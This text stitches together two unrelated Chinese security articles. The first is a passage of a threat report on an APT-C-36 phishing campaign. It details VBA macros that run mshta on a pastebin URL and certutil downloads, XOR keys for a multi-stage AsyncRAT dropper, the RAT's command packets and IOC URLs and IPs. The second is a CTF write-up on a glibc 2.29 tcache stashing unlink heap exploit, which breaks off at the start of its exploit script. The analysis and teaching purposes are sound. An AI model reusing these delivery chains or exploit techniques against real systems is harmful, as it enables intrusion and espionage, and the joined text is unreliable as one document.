表3-1 来源信息
##### **3.2.2** **恶意附件文档**
该组织擅于使用携带恶意宏的MHTML格式的word文档作为攻击载荷。在此次攻击活动中，我们观察到攻击者更改了初期的攻击策略，其先将带有短链接内容的PDF或RTF格式的恶意附件作为第一阶段的诱饵文档，再通过诱导受害者点击链接后，跳转到指定的服务器上下载恶意文档，该恶意文档是包含宏代码的word文档。从这些PDF/RTF格式的恶意附件在VT上的扫描结果（如图3-6）可以看到，它们的查杀率普遍偏低甚至为0。攻击者将这类低查杀率的恶意文档作为邮件附件，能在一定程度上达到绕过邮件网关的目的。
图3-6 VT查杀结果
##### **3.2.3** **域名使用偏好**
我们将该组织在早期行动中使用的动态域名，与本次行动所使用的域名做对比分析，可以很清晰的看出，这些域名都是通过同一个动态域名商DNSEXIT注册的。此外，在本次事件中的域名“medicosta.linkpc.net”与2018年事件中的域名“medicosco.publicvm.com”相似度极高，由此猜测它们极有可能是由同一组织注册。
##### **3.2.4 IP地址关联**
根据我们在3.1小节中所分析的结果显示，攻击者所有关联域名的曾绑定和现绑定的IP地址，均由互联网运营商Unus.Ins公司提供，且大多数用作VPN服务。这与该组织在2018年的攻击事件中发送邮件时使用的VPN相关IP地址128.90.xxx.xxx网段完全相同，由此可以看出这极有可能是出自同一组织。
##### **3.2.5** **地理位置特性**
从攻击者所使用的C&C基础设施来看，其所使用的所有IP地址（包括128.90.xxx.xxx、191.95.xxx.xxx、190.253.xxx.xxx及179.33.xxx.xxx等网段）均归属于哥伦比亚的ISP（如图3-7）。而这些IP地理位置也与该组织早期活动涉及的地理位置相同。
图3-7 IP地址的地理位置
基于该组织从伪装来源信息、诱饵文档、域名使用偏好、IP地址关联以及地理位置特性等方面的对比分析，我们初步推断本次的攻击行动来自“APT-C-36盲眼鹰”组织。
## **四、攻击载荷分析**
图4-1显示了黑客组织在此次攻击活动中的整个流程。
图4-1 黑客攻击流程图
在初期阶段，该组织首先利用与其伪装来源有关的主题邮件，附加恶意文档一并发送给攻击目标。当受害者点击文档中的短链接时，其实际上是被重定向到下一阶段DOC文档的托管平台，从而执行下载流程。该DOC文档运行后会启动恶意宏代码，访问并解析执行指定的页面（html文件），随后从C&C服务器上下载payload文件，成功下载后立即执行。此payload会在内存中加载执行其解密后的DLL模块来实现第一阶段的功能，接着第二阶段的DLL模块再执行其解密后的EXE模块，为了隐藏恶意下发功能，第三阶段的EXE模块会将解密后的可执行PE文件（AsyncRAT远控木马）映射到傀儡进程中执行。最后，AsyncRAT木马程序与C&C服务器建立SSL通信，接收控制指令以实现其间谍活动。
攻击者为了隐藏其真实企图，采用多层模块嵌套和以不落地形式在内存中加载执行木马程序的手法，再结合该木马针对自身运行环境检测（如虚拟机、沙箱、反调试等）的功能，以避免其在自动化系统分析中暴露恶意行为。下文，我们从黑客组织近期攻击事件的案例中，选取一例进行详细的剖析。
### **4.1** **钓鱼邮件**
图4-2展示了攻击者仿冒来自哥伦比亚国家卫生部的钓鱼邮件，邮件标题为“Usted ha sido citado para una prueba
obligatoria de
(COVID-19)”（翻译后为：“您被要求参加强制性检测（COVID-19）”），正文内容是关于检测的相关问题（如图4-3），并声称邮件附件是检测时间和地点，以诱导受害者打开附件文档。
图4-2 仿冒来自哥伦比亚国家卫生部的钓鱼邮件内容
图4-3 邮件翻译后的内容
### **4.2** **恶意文档**
黑客组织所使用的恶意文档包括PDF、RTF以及MHTML格式的DOC文档。其并未使用漏洞，而是通过嵌入的恶意宏代码来触发后续恶意行为。与该组织以往攻击手法不同的是，本次并未直接通过邮件传播MHTML格式的恶意文档，而是将包含一个跳转链接（该链接指向MHTML格式的恶意文档）的正常文档作为邮件附件来进行投递，以绕过邮箱网关的安全检测。
图4-4是4.1小节中的邮件附件，该pdf文件包含哥伦比亚国家卫生部的标志、一行文本信息（标注文档密码，实则无用）和一个名为“Ver
comunicado”的跳转链接（如图）。
图4-4 PDF文档跳转链接内容
当用户点击文档链接时，实际上攻击者是利用Acortarurl短链接服务平台将受害者重定向到其指定的服务器上，下载MHTML格式的word文档。下图为访问Acortarurl的流量内容。
图4-5 Acortarurl的流量内容
虽然此案例中的恶意文档链接已失效，不过通过关联分析后，我们发现了其他相关的恶意文档。该文档同样是伪装成来自哥伦比亚国家卫生部，攻击者在文档正文利用西班牙语诱导用户点击“启用内容”按钮来查看检测时间和地点。具体内容如图4-6所示。
图4-6 内嵌VBA的DOC恶意文档内容
当我们查看该文档的VBA工程时，提示需要输入密码。解密后从宏代码的内容可以看到，当受害者启用宏功能后，恶意代码将自动执行Document_Open函数。具体内容如图4-7所示。
图4-7 恶意宏代码内容
该函数会利用Microsoft工具mshta.exe来解析“http://pastebin.com/raw/Xrp7W0V3”（放置在pastebin网址上的html恶意脚本文件）。具体内容如图4-8所示。
图4-8 加密的HTML脚本文件内容
解密后的恶意脚本文件主要功能是利用Windows内置程序certutil.exe远程下载指定的EXE文件，然后将其保存至“%appdata%msts.exe”并执行该程序。
图4-9 解密后的HTML脚本文件内容
### 4.3 Payload
如上文所示，通过html恶意脚本下载并执行的
“msts.exe”（C#编写并加入了大量的混淆）实际上是一个Dropper文件。“msts.exe”会从资源中解密出“DriverUpdate.dll”（C#编写）并在内存中反射加载该DLL模块来实现第一阶段的功能；接着第二阶段的“DriverUpdate.dll”再解密出其原始文件“msts.exe”中的另一个资源数据，然后执行解密后的“Cyrus.exe”模块；第三阶段的“Cyrus.exe”从自身资源中解密出Async
RAT远控木马，并将其整个文件覆盖映射到当前进程中执行。最后，Async
RAT木马程序与C&C服务器进行通信连接，连接成功则发送上线包请求上线，并等待接收控制指令。
#### 4.3.1 第一阶段模块
“msts.exe”主要用于解密并在内存中加载下一阶段的功能模块。其将自身伪装成Intel无线驱动应用程序，并附有详细的文件说明和版本号（如图4-10），以此迷惑攻击目标。
图4-10 “msts.exe”文件属性详细信息
该Dropper模块的入口点在WindowsFormsApplication1处（如图4-11），其首先通过调用SelectedCard类中的D_D_D_D函数对名为“xor4”的资源数据进行解密。
图4-11 Dropper模块的入口函数
解密算法是循环异或运算，其固定密钥为“RR5IRBNF5F4GN7997QFBYY”，解密代码如图4-12所示。
图4-12 解密代码具体内容
在解密出PE文件后，Dropper模块则附加三个启动参数（“AcBRmi、S8epuew和IntelWireless”）来加载执行第二阶段的功能模块。
图4-13 加载执行功能代码
#### 4.3.2 第二阶段模块
该阶段模块的文件名为“DriverUpdater.dll”，当此模块运行后，会提取和解密第一阶段Dropper模块中另一个资源文件“AcBRmi”，之后在内存中加载执行解密出的第三阶段的PE文件。
图4-14 解密和执行PE文件的功能代码
解密算法依然是循环异或运算，其密钥为“CZysHnTTIiop”，解密代码如图4-15所示。
图4-15 异或解密算法代码
#### 4.3.3 第三阶段模块
此功能模块的文件名称是“Cyrus.exe”，其主要任务为解密和执行最终的远控木马。
**初始化阶段**
1）
在执行入口函数之前，该模块会在初始化Class3的私有成员变量byte_Data时，先调用Class1类的方法解密自身资源文件Kdgv。具体如图4-16所示。
图4-16 解密资源文件
资源数据的首次解密采用简单的异或加密算法，固定密钥为"dXhhaxrqDcQ"，通过对资源数据的每个字节做简单的XOR运算完成第一次解密。解密函数的代码如图4-17所示。
图4-17 解密函数代码内容
第一次解密前和解密后的资源数据如图4-18所示。
图4-18 首次解密前后的数据内容
之后再对第一次解密后的数据进行二次解密，前16位为解密密钥“0x19 0xEF 0xB6 0xB6 0xE7 0x7E 0x92 0x92 0x0D
0xA0 0xE0 0x95 0xAD 0x8F 0x6B 0x14”，后面紧跟着的是待解密密文。 解密前后的数据内容如图4-19所示。
图4-19 二次解密前后的数据内容
函数以16字节为循环，将密钥同密文依次进行按位异或，最终解密得到“Stub.exe”文件。解密函数代码如图4-20所示。
图4-20 解密函数代码内容
除此之外，该模块还会将提取出的配置信息数据，分别赋值给它们所对应的私有成员变量，在我们分析的此案例中，其配置数据大部分的值都为0。具体内容如图4-21所示。
图4-21 配置信息数据内容
**执行主功能代码**
该模块首先使用Assembly.GetEntryAssembly().Location获取当前进程的全路径。接着通过判断上文提到的部分私有成员变量值来决定要执行的流程分支，其中包括互斥体的创建、虚拟机和沙箱的检测、文件下载、拷贝自身等。在本案例样本中，根据其配置信息来看，此模块仅执行最后一项流程，调用smethod_11函数。代码如图4-22所示。
图4-22 代码执行流程
进入到smethod_11函数后，该模块先调用Class3.
SelectPuppetProcess来选择后续执行的RAT载体。由于参数int_13的值为0，所以返回值为string_10（当前模块的全路径）。
图4-23 代码内容
在选择完RAT的傀儡进程后，该模块再调用smethod_9函数，其中参数1为自身进程的全路径，参数2为之前解密出的PE文件数据。首先，该模块重新创建一个自身新进程，然后卸载此进程映像，并把之前解密出的新PE头部，以及节数据依次写入到新进程模块中，最后修改OEP并启动运行（“Stub.exe”）。
图4-24 写入和执行新PE文件
#### 4.3.4 RAT模块
如上文所述，被执行的名为“Stub.exe”的PE文件则是最终的RAT模块。通过分析和溯源后发现，该PE文件是用C#语言编写的AsyncRAT远控木马。除了远程桌面监控、键盘记录、进程管理、远程WebCam、远程Shell等功能以外，其还包括加密、反沙盒、反虚拟机、反分析和反调试等对抗模块。下面我们会对RAT中的核心部分做深入的分析。
图4-25 远程程序AsyncRAT控制端
##### 1）初始化配置信息
木马程序通过调用Settings.InitializeSettings函数来初始化配置信息。从图4-26中的函数实现代码可以看到，其会提取出固定的密钥并使用AES256算法解密出所有的配置数据信息。包含端口号、Host信息、版本号、Pastebin信息、解密秘钥、SSL通信证书及证书签名等信息，之后调用Settings.VerifyHash函数对证书进行验证。
图4-26 初始化配置信息
解密之后的配置信息如图4-27所示。
图4-27 配置信息详细内容
##### 2）检测运行环境
为了逃避沙箱/安全人员的检测，木马程序使用了各种识别沙箱/虚拟机的技术，用于判断自身程序所在的运行环境，如果发现是在虚拟环境，或是被调试状态，程序则直接退出。从而达到隐藏自身，规避检测的目的。下面是该木马使用到的技术。
① VMWARE和VirtualBox虚拟机的检测。
图4-28 虚拟机的检测
② SandBox的检测。
图4-29 沙盒的检测
③ 判断程序自身是否被调试。
图4-30调试环境的检测
④ 通过判断获取的硬盘容量是否大于6100000000L（56.81G），来检测是否为真实机器或虚拟环境。
图4-31 判断硬盘容量
##### 3）安装机制
木马程序的安装机制包括进程唯一性判断、在宿主机的持久化设置和守护进程设置。该木马以解密配置信息中的MTX字串"AsyncMutex_s8H9OlmYu”为名来创建互斥体，以保证运行进程的唯一性。
图4-32 创建互斥体
其还会判断当前执行文件路径与安装目录是否一致，如果相同，则代表该模块已安装过，安装功能便不再执行。如不相同，该木马则会通过对比系统中运行的进程名来确保运行进程的唯一性。具体代码如图4-33所示。
图4-33 判断安装路径
之后，木马程序根据当前是否为管理员执行权限，来选择是通过安装计划任务还是写入开机自启动命令实现持久化。具体代码如图4-34所示。
图4-34 安装计划任务或添加自启动
在完成持久化操作后，木马程序将自身重新写入到安装目录下并命名为指定文件名（chromgoogle.exe）。然后再在临时目录下生成和执行.bat批处理脚本文件。该bat文件用于运行“chromgoogle.exe”可执行文件及自身删除。具体内容如图4-35所示。
图4-35 脚本文件内容
最后，木马程序通过提升当前进程权限及设置线程始终处于执行状态方式，来实现守护进程。
图4-36 进程守护实现代码
##### 4）上线机制
在安装机制设置完成后，木马程序则通过配置信息中的IP和端口与控制端服务器建立SSL协议连接。此时该木马会收集受感染主机的系统信息，并把这些信息压缩后作为上线包发送到C&C服务器。上线包的内容包含主机设备的用户名、系统版本号、管理员账号和木马程序当前执行路径、版本号、安装时间等相关信息。通过对木马程序的分析，我们发现上线包的长度是不固定的。启明星辰ADLab研究员在对上线包格式做解析、提取后，整理归纳出木马程序上线数据包格式和上线数据包内容格式。具体如图4-37和表4-1（其中“绿色横格”作为一组数据的分割线）所示。
**数据大小** | **数据说明** | **数据内容**
---|---|---
0x01 | 子包数量 （以组为单位） | 0x8D（HEX值固定）
0x01 | 名称长度 | 0xA6（HEX值固定）
0x06 | 名称 | “Packet”（字符串值固定）
0x01 | 包名长度 | 0xAA（HEX值固定）
0x0A | 上线包名 | “ClientInfo”（字符串值固定）
| |
0x01 | 名称长度 | 0xA4（HEX值固定）
0x04 | 名称 | “HWID”（字符串值固定）
不固定 | 标识码长度 | 不固定（如0xB4）
不固定 | 唯一机器标识码 | 不固定（如“F40DD340EC6FDDB01847140”）
| |
0x01 | 名称长度 | 0xA4（HEX值固定）
0x04 | 名称 | “User”（字符串值固定）
不固定 | 用户名长度 | 不固定（如0xAA）
不固定 | 用户名 | 不固定（如“xxx”）
| |
0x01 | 名称长度 | 0xA4（HEX值固定）
0x04 | 名称 | “Path”（字符串值固定）
不固定 | 路径长度 | 不固定
不固定 | 恶意代码当前执行路径 | 不固定
| |
0x01 | 名称长度 | 0xA7（HEX值固定）
0x07 | 名称 | “Version”（字符串值固定）
不固定 | 版本号长度 | 不固定（如0xA7）
不固定 | 恶意代码版本号 | 不固定
| |
0x01 | 名称长度 | 0xA5（HEX值固定）
0x05 | 名称 | “Admin”（字符串值固定）
不固定 | 管理员账号名长度 | 不固定（如0xA5）
不固定 | 管理员账号名 | 不固定（如“Admin”）
| |
0x01 | 名称长度 | 0xAB（HEX值固定）
0x0B | 名称 | “Performance”（字符串值固定）
不固定 | 窗口信息长度 | 不固定
不固定 | 用户前台窗口信息 | 不固定
| |
0x01 | 名称长度 | 0xA8（HEX值固定）
0x08 | 名称 | “Pastebin”（字符串值固定）
不固定 | Pastebin值长度 | 不固定（0xA4）
不固定 | 配置中Pastebin的值 | 不固定（如“null”）
| |
0x01 | 名称长度 | 0xA9（HEX值固定）
0x09 | 名称 | “Antivirus”（字符串值固定）
不固定 | 信息长度 | 不固定
不固定 | 杀毒软件信息 | 不固定（如“N/A”）
| |
0x01 | 名称长度 | 0xA9（HEX值固定）
0x09 | 名称 | “Install”（字符串值固定）
不固定 | 信息长度 | 不固定（如0xB1）
不固定 | 恶意代码安装时间信息 | 不固定
| |
0x01 | 名称长度 | 0xA4（HEX值固定）
0x04 | 名称 | “Pong”（字符串值固定）
| |
0x01 | 名称长度 | 0xA5（HEX值固定）
0x05 | 名称 | “Group”（字符串值固定）
不固定 | Group值长度 | 不固定（如0xA7）
不固定 | 配置中Group的值 | 不固定（如“Default”）
表4-1 上线数据包格式
图4-37 上线数据包内容格式
**下面是木马程序发送上线请求的具体操作步骤：**
**步骤1**
其首先会对配置信息中“Pastebin”的值做判断，如果不为NULL，则使用webClient.DownloadString方法获取服务端的上线域名/IP和端口号（从“Pastebin”上提取）。部分代码如图4-38所示。
图4-38 从“Pastebin”上提取上线域名和端口号
如果为NULL，则直接从配置信息中提取出对应的上线域名/IP和端口号（以逗号作为分隔符），这表明该木马程序是具有配置多个C2的功能，攻击者能够灵活地添加多个备用C2，即使其中一部分被阻断，也能够重获控制权。具体代码如图4-39所示。
图4-39 从配置信息中提取上线域名和端口号
**步骤2：**
木马程序在与控制端连接成功后，便开始调用自定义类方法IdSender.SendInfo方法，收集受感染主机和木马自身版本等相关信息，这些信息会被逐个的储存在MsgPack类中。获取设备信息代码如图4-40所示。
图4-40 获取设备信息
**步骤3：**
在此之后，木马程序调用msgPack.Encode2Bytes函数对上线包数据进行封包。该函数首先会执行this.Encode2Stream方法，通过调试分析得知，由于该木马是使用map类型来存储上线数据，那么此处便会调用this.WriteMap方法来操作上线包。
图4-41 调用this.WriteMap方法
木马程序封包功能主要是在Encode2Stream方法中实现，为了能更直观地将上线数据包处理流程展现给读者，我们以本案例作为参考，绘制出整个封包的流程图（如图4-42）。
图4-42 数据包封包流程图
我们通过对封包函数的交叉引用进行详细分析后，得出该木马程序的上线包（以及后续的心跳包和控制指令包）均采用此方式进行处理。需要特别注意的是，代表其子包的数量值（value）、名称和数据的长度值（value），实际上都是先对这些数据的真实值（num和len）做判断，再将真实值与对应的固定值相加，最后得出value值。发送包格式如表4-2所示（可结合图4-37理解）。
**子包数量** **（/组）** | **长度** **（子包1name）** | **数据** **（子包1name）** | **长度**
**（子包1data）** | **数据** **（子包1data）** | **子包2** **…**
---|---|---|---|---|---
num | name_value | string_name | data_value | string_data | ……
表4-2 数据包格式
**步骤4：**
在封包完毕后，木马程序使用GZipStream类的方法对上线包进行压缩处理。代码如图4-43所示。
图4-43 数据包压缩处理
**步骤5：**
最后，该木马会将数据包包长和数据包（获取的信息）分两个包依次发送给控制端申请上线。
图4-44 发送数据包
##### 5）心跳机制
木马程序通过使用Timer类实现了自身的心跳机制。其主要功能是每10到15秒向控制端发送心跳包，心跳包内容包含包名和被感染主机系统用户前台窗口信息。
图4-45 发送心跳包
由图4-45中的代码实现可见，该远程木马心跳包的数据是同样使用MsgPack.Encode2Byte方法进行封包处理的。
##### 6）远程控制
在针对木马程序处理控制命令部分进行详细分析时，我们发现在被控端木马的恶意代码中，并未包含任何远程指令的具体实现功能代码。于是我们针对控制端和被控端做进一步的调试和观察后，发现所有跟远程操作相关的功能代码，都是根据其功能进行归类且被封装在不同的DLL模块中。当控制端在执行远程操作时，则首先与被控端发送特定的数据包进行交互，接着再将压缩后的功能模块附加到数据包中发送给被控端，由被控端以不落地形式在内存中加载执行，来完成控制端指定的控制命令。通过采用“propelling
in use，destory after
use”的工作模式，攻击者既可以灵活地调整木马程序的配置信息，又能较有效地防止取证分析人员获取其核心攻击模块，且在一定程度上达到免杀和绕过安全机制的效果。图4-46是木马程序在执行控制命令时（以“远程控制桌面”指令为例），两端之间的具体操作流程图。
图4-46 远程操作交互流程图
该远控木马程序总共有十几个可执行核心功能模块，其中包含远程桌面监控、Webcam监控、键盘记录、文件查找、远程shell、Bots
Killer以及DDos攻击等功能。表4-3列出了所有模块的名称以及其所对应的功能。
**模块名称** | **模块功能**
---|---
Chat.dll | Chat
Extra.dll | Visit Website /Send MessageBox /Get Admin Privileges / Disable
Windows Defender /Set Wallpaper
FileManager.dll | File Manager
FileSearcher.dll | File Searcher
LimeLogger.dll | Keylogger
Miscellaneous.dll | BotsKill /USB Spread /Seed Torrent /Remote Shell /DOS
Attack /Execute.NET Code
Options.dll | Report Window
ProcessManager.dll | Process Manager
Recovery.dll | Password Recovery
RemoteCamera.dll | Webcam
RemoteDesktop.dll | Remote Desktop
SendFile.dll | Send File To Disk
SendMemory.dll | Send File To Memory
表4-3 核心模块功能解析
表4-4为部分攻击指令数据包的内容。其中黄色标注部分为：当控制端要执行远程控制操作时，其与被控端交互的通用数据包格式（除“string_SHA256”和“压缩后的二进制数据”以外，其他内容都相同），其余都是其他相关操作的信息指令。
**数据内容** | **数据说明**
---|---
“Packet”“plugin”“DLL”“string_SHR256”（由C&C服务器发起）
**\------------------------------------------------------**
“Packet”“SendPlugin”“DLL”“string_SHR256”（由RAT发起）
**\------------------------------------------------------**
“Packet”“plugin”“DLL”“压缩后的二进制数据”“Hash”“string_SHR256” （由C&C服务器发起） |
动态回传各类控制指令功能模块数据包。
“Packet”“dos”“Option”“postStart”“Host”“string_host”“Port”“string_port”“Timeout”“string_timeout”
| DDos攻击相关配置信息
“Packet”“fileManager”“Command”“getPath”“Path”“string_path”
**\------------------------------------------------------**
“Packet”“fileManager”“Command”“getDriver” | 远程文件管理相关操作信息
“Packet”“keylogger”“isON”“false” | 键盘记录相关操作信息
“Packet”“processManager”“Option”“Kill”“ID”“string_id”
**\------------------------------------------------------**
“Packet”“processManager”“Option”“List” | 进程管理相关操作信息
“Packet”“ShellWriteInput”“WriteInput”“string_txt”
**\------------------------------------------------------**
“Packet”“ShellWriteInput”“WriteInput”“exit” | 远程Shell执行相关操作信息
表4-4 攻击指令数据包解析
## **五、总结**
通过分析可以看出，“APT-C-36盲眼鹰”组织主要采用的手法是网络钓鱼攻击，即以使用带有社工伪装的邮件（仿冒国家政府部门）作为攻击入口，利用低查杀率的邮件附件（用于绕过邮箱网关）向目标主机投放后门程序。在侵入主机设备后，再通过多层嵌套加载、虚拟机沙箱检测及功能模块动态推送等技术手段，达到在目标主机上长期潜伏而不被发现的效果。同时，结合对该组织历史攻击武器的深入研究我们发现，为了应对不断进步的安全防御和检测，该黑客组织改进了其攻击策略，所使用的后门木马工具更复杂、对抗性更强，这表明该组织在持续地更新迭代恶意代码的功能和形态，并呈现出功能模块化的趋势。
鉴于该黑客组织长期通过钓鱼邮件以及Office
VBA宏进行攻击的惯用手段，我们建议相关用户不要随意打开和下载未知来源的邮件附件及链接，做好邮件系统的防护，如有需要可通过打开Office文档中的：文件-选项-信任中心-信任中心设置-宏设置，来禁用一切宏代码执行。一旦系统或服务器出现异常行为，及时报告并请专业人员进行排查，以消除安全隐患。
## **IOC**
**SHAR·1**
612b7cd95eb317c2931d89acfb1c99506d799d26
ee42b8a4b53c8363828b9bc732045aa248e1d64a
e9e0871d37d1765756175e8931eedadb3f210b9b
e9e0871d37d1765756175e8931eedadb3f210b9b
c277bb8d01cb3e9d18d5378c6f518f4faca508fb
b586969a25aca22612ff59978d3a6062663baa86
79bf3730a7089b5c108bad883c1cc9a3779cb366
**IP**
128.90.112.142
128.90.112.231
128.90.105.72
**URL**
https://acortaurl.com/diangovocestadodecuentadeudaquotamp _ **P
https://acortaurl.com/activarcedulaonlineregistraduriagovcoquotamp**
https://yip.su/2oTZk
https://acortaurl.com/pdfproceso00910020190976543
https://acortaurl.com/diangovcodocumentos2019deudaalafecha0393948amp_
* * * | 社区文章 |
## 前言
前几天`BUUCTF`办了场新春红包赛，做到了一道`咲夜南梦`师傅出的`glibc 2.29`下的题，做题过程中发现和去年Hitcon CTF的一道`one
punch man`很像，网上其他人的做法有`unlink`和`large bin
attack`，这里再引进一种新的攻击方式，达到相同条件下`任意地址写一个libc地址`的目的。需要声明的是这种攻击方式并非笔者原创，而是看到台湾一位师傅`berming博客`的题解学习的，这种攻击方式原作者称为`TCACHE
STASHING UNLINK ATTACK`，现分享给大家。
## Hitcon 2019 one punch man
### 程序分析
程序开启了常见的所有保护，实现了`Add`、`Edit`、`Delete`和`Show`等功能，除此之外还有一个后门函数`Backdoor`。
另外函数有沙箱保护，只有下面这些系统调用可用。
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x01 0x00 0xc000003e if (A == ARCH_X86_64) goto 0003
0002: 0x06 0x00 0x00 0x00000000 return KILL
0003: 0x20 0x00 0x00 0x00000000 A = sys_number
0004: 0x15 0x00 0x01 0x0000000f if (A != rt_sigreturn) goto 0006
0005: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0006: 0x15 0x00 0x01 0x000000e7 if (A != exit_group) goto 0008
0007: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0008: 0x15 0x00 0x01 0x0000003c if (A != exit) goto 0010
0009: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0010: 0x15 0x00 0x01 0x00000002 if (A != open) goto 0012
0011: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0012: 0x15 0x00 0x01 0x00000000 if (A != read) goto 0014
0013: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0014: 0x15 0x00 0x01 0x00000001 if (A != write) goto 0016
0015: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0016: 0x15 0x00 0x01 0x0000000c if (A != brk) goto 0018
0017: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0018: 0x15 0x00 0x01 0x00000009 if (A != mmap) goto 0020
0019: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0020: 0x15 0x00 0x01 0x0000000a if (A != mprotect) goto 0022
0021: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0022: 0x15 0x00 0x01 0x00000003 if (A != close) goto 0024
0023: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0024: 0x06 0x00 0x00 0x00000000 return KILL
其中，Add函数可以分配`[0x80,0x400]`大小的堆块，分配的函数为`calloc`，输入数据首先存储到栈上，之后再使用`strncpy`拷贝到`bss`上的数组里
unsigned __int64 __fastcall Add(__int64 a1, __int64 a2)
{
unsigned int idx; // [rsp+8h] [rbp-418h]
signed int name_len; // [rsp+Ch] [rbp-414h]
char s[1032]; // [rsp+10h] [rbp-410h]
unsigned __int64 v6; // [rsp+418h] [rbp-8h]
v6 = __readfsqword(0x28u);
MyPuts("idx: ");
idx = read_int();
if ( idx > 2 )
error("invalid", a2);
MyPuts("hero name: ");
memset(s, 0, 0x400uLL);
name_len = read(0, s, 0x400uLL);
if ( name_len <= 0 )
error("io", s);
s[name_len - 1] = 0;
if ( name_len <= 0x7F || name_len > 0x400 )
error("poor hero name", s);
*((_QWORD *)&unk_4040 + 2 * idx) = calloc(1uLL, name_len);
qword_4048[2 * idx] = name_len;
strncpy(*((char **)&unk_4040 + 2 * idx), s, name_len);
memset(s, 0, 0x400uLL);
return __readfsqword(0x28u) ^ v6;
}
Delete函数`free`堆块之后未清空，造成`double free`和`UAF`
void __fastcall Delete(__int64 a1, __int64 a2)
{
unsigned int v2; // [rsp+Ch] [rbp-4h]
MyPuts("idx: ");
v2 = read_int();
if ( v2 > 2 )
error("invalid", a2);
free(*((void **)&unk_4040 + 2 * v2));
}
后门函数可以调用`malloc`分配`0x217`大小的堆块，但是要要满足`*(_BYTE *)(qword_4030 + 0x20) >
6`，我们在`main`函数里可以看到这里被初始化为`heap_base+0x10`，对于glibc
2.29，这个位置对应存储的是`tcache_perthread_struct`的`0x220`大小的`tcache_bin`的数量，正常来说，如果我们想调用后门的功能，要让这个`count`为7，然而这也就意味着`0x217`再分配和释放都同`glibc
2.23`一样，我们无法通过`UAF`改chunk的`fd`来达到任意地址写的目的，因此我们要通过别的方式修改这个值。
/*
ptr = (char *)malloc(0x1000uLL);
if ( !ptr )
error("err", a2);
v3 = ptr;
free(ptr);
qword_4030 = ((unsigned __int64)ptr & 0xFFFFFFFFFFFFF000LL) + 0x10;
*/
__int64 __fastcall Magic(__int64 a1, __int64 a2)
{
void *buf; // [rsp+8h] [rbp-8h]
if ( *(_BYTE *)(qword_4030 + 0x20) <= 6 )
error("gg", a2);
buf = malloc(0x217uLL);
if ( !buf )
error("err", a2);
if ( read(0, buf, 0x217uLL) <= 0 )
error("io", buf);
puts("Serious Punch!!!");
puts(&unk_2128);
return puts(buf);
}
Edit和Show函数都是实现了字面功能的函数，不再赘述。
### 漏洞利用
现在的目标变成了如何在一个地址上写一个较大的数，在`glibc 2.29`增加了对`unsorted bin
attack`的检查，即检查双向链表的完整性，这使得这个攻击完全失去了作用，由于我们使用的是calloc，分配过程中不从`tcache
bins`中取堆块，只能用`fastbin
attack`，但是这里又限制分配的大小从`0x80`开始，这种思路也失效了，在这种情况下我们要介绍的攻击方式就派上了用场。
这种攻击的场景是我们请求申请一个大小为`size`的chunk，此时堆中有空闲的`small bin`(两个)，根据small
bin的`FIFO`，会对最早释放的`small bin`进行`unlink`操作，在unlink之前会有链表的完整性检查`__glibc_unlikely
(bck->fd != victim)`，在将这个堆块给用户之后，如果对应的tcache bins的数量小于最大数量，则剩余的small
bin将会被放入`tcache`，这时候放入的话没有完整性检查，即不会检查这些small
bin的`fd`和`bk`。在放入之前会有另一次`unlink`，这里的`bck->fd =
bin;`产生的结果是将bin的值写到了`*(bck+0x10)`，我们可以将bck伪造为`target_addr-0x10`，bin为`libc`相关地址，则可以向`target_addr`写入`bin`，攻击结果和`unsored
bin attack`的结果类似。
注意刚才描述的放入过程是一个循环，我们将伪造的`bck`看成一个堆块，其`bk`很可能是一个非法的地址，这样就导致循环到下一个堆块时`unlink`执行到`bck->fd
= bin;`访问非法内存造成程序crash。为了避免这种情况我们选择释放`6`个对应size的chunk到`tcache
bin`，只为`tcache`留一个空间，这样循环一次就会跳出，不会有后续问题。
/*
If a small request, check regular bin. Since these "smallbins"
hold one size each, no searching within bins is necessary.
(For a large request, we need to wait until unsorted chunks are
processed to find best fit. But for small ones, fits are exact
anyway, so we can check now, which is faster.)
*/
if (in_smallbin_range (nb))
{
idx = smallbin_index (nb);
bin = bin_at (av, idx);
if ((victim = last (bin)) != bin)
{
bck = victim->bk;
if (__glibc_unlikely (bck->fd != victim))
malloc_printerr ("malloc(): smallbin double linked list corrupted");
set_inuse_bit_at_offset (victim, nb);
bin->bk = bck;
bck->fd = bin;
if (av != &main_arena)
set_non_main_arena (victim);
check_malloced_chunk (av, victim, nb);
#if USE_TCACHE
/* While we're here, if we see other chunks of the same size,
stash them in the tcache. */
size_t tc_idx = csize2tidx (nb);
if (tcache && tc_idx < mp_.tcache_bins)
{
mchunkptr tc_victim;
/* While bin not empty and tcache not full, copy chunks over. */
while (tcache->counts[tc_idx] < mp_.tcache_count
&& (tc_victim = last (bin)) != bin)
{
if (tc_victim != 0)
{
bck = tc_victim->bk;
set_inuse_bit_at_offset (tc_victim, nb);
if (av != &main_arena)
set_non_main_arena (tc_victim);
bin->bk = bck;
bck->fd = bin;
tcache_put (tc_victim, tc_idx);
}
}
}
#endif
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
}
}
有了上述介绍之后解题就简单多了，首先UAF可以泄露`heap`和`libc`地址，然后我们`free`一个`0x220`大小的块进入tcache并使用UAF修改其`fd`为`__malloc_hook`备用。
之后我们释放9次`0x400`大小的堆块，再分配大小为`0x300`的堆块，产生一个`0x100`大的`last_remainder`，再分配一个大于`0x100`的堆块让这个`last_remainder`放入`small
bin[0x100]`;再用相同方式构造出另一个相同大小`small
bin`，我们分别称之为bin1和bin2，使用`Edit`将`bin2->bk`改为`(heap_base+0x2f)-0x10`，调用`calloc(0xf0)`触发上述流程，最终改掉`heap_base+0x30`的值绕过检查。
最后调用后门函数修改`__malloc_hook`为`gadget(mov eax, esi ; add rsp, 0x48 ;
ret)`，在add的时候将`rsp`改到可控的输入区域调用`rop chains`。
### exp.py
#coding=utf-8
from pwn import *
context.update(arch='amd64',os='linux',log_level='DEBUG')
context.terminal = ['tmux','split','-h']
debug = 1
elf = ELF('./one_punch')
libc_offset = 0x3c4b20
